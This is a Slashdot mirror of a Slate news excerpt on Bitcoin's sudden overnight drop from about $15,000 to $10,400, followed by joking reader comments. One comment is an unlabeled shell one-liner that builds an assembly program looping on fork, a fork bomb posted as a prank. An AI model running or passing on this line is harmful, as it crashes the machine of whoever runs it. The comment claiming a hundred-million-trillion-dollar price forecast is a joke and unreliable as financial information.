Slashdot Mirror
Bitcoin's Value Plummeted Overnight and No One Knows Why (slate.com)
Jacob Brogan, writing for Slate: While the Western Hemisphere slept, Bitcoin plummeted. Just after midnight Eastern Time on Friday, the cryptocurrency was valued at a little over $15,000, on the digital currency exchange Coinbase. At that point, it was already well below the $19,783 all-time high it had hit the week before. Over the course of the night, Bitcoin began to decline erratically, occasionally spiking but following a general downward trend. Around 9:22 a.m. Eastern, it hit a temporary floor, valued at a mere $10,400. By that point, it had declined more than $6,000 from its short-term peak the morning before, having lost more than one-third of its value. Bitcoin wasn't the only currency hit by a sharp drop. Tech Crunch's Jon Russell reports that most other prominent cryptocurrencies also fell, including Ethereum, Litecoin, and Bitcoin Cash (which is, confusingly, separate from Bitcoin proper). As Russell notes, it's hard to say why this is happening, "in the same way that nobody knows exactly why bitcoin's price has [shot] up from a touch under $1,000 at the start of the year."
Of course, it is time travelers from the future, cashing out before the inevitable collapse in 2 weeks. Of course this needs to be done in a careful and coordinated fashion, to avoid the inevitable positive feedback. Now the trick is whether they will be able to return to the future, since the early decline in the price might affect the funding that created their time machines.
- Mike
Maybe peeps liquidated some coins today to so some last Christmas shopping this weekend.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
Holy Crap! I am going to blockchain my 3D printed autonomous crypto drones with AI in the agile cloud! It will be bigger than web scale!
Up and up the bitcoin goes,
beats dollar and the rouble.
All at once it drops like shit -
Pop goes the bouble!
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
I'ts known as a Pump-n-Dump.
a lot like what I did to your mom....
I don't recall Slashdot having a bit coin story yesterday. Bitcoin felt ignored and wanted to do something to get attention again.
BITCOIN sandwich . Bacon, Italian dressing, Tomato, Cheese, OniON
Tangible asset has intrinsic value and you feel good after it's gone
Buy on the dip people! A top economist forecasts one Bitcoin will be worth one hundred million trillion dollars in three months time!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Smart money manipulating Bitcoin so it can buy in.
Yep. Google "How to short b..." and several explanations will just pop right up!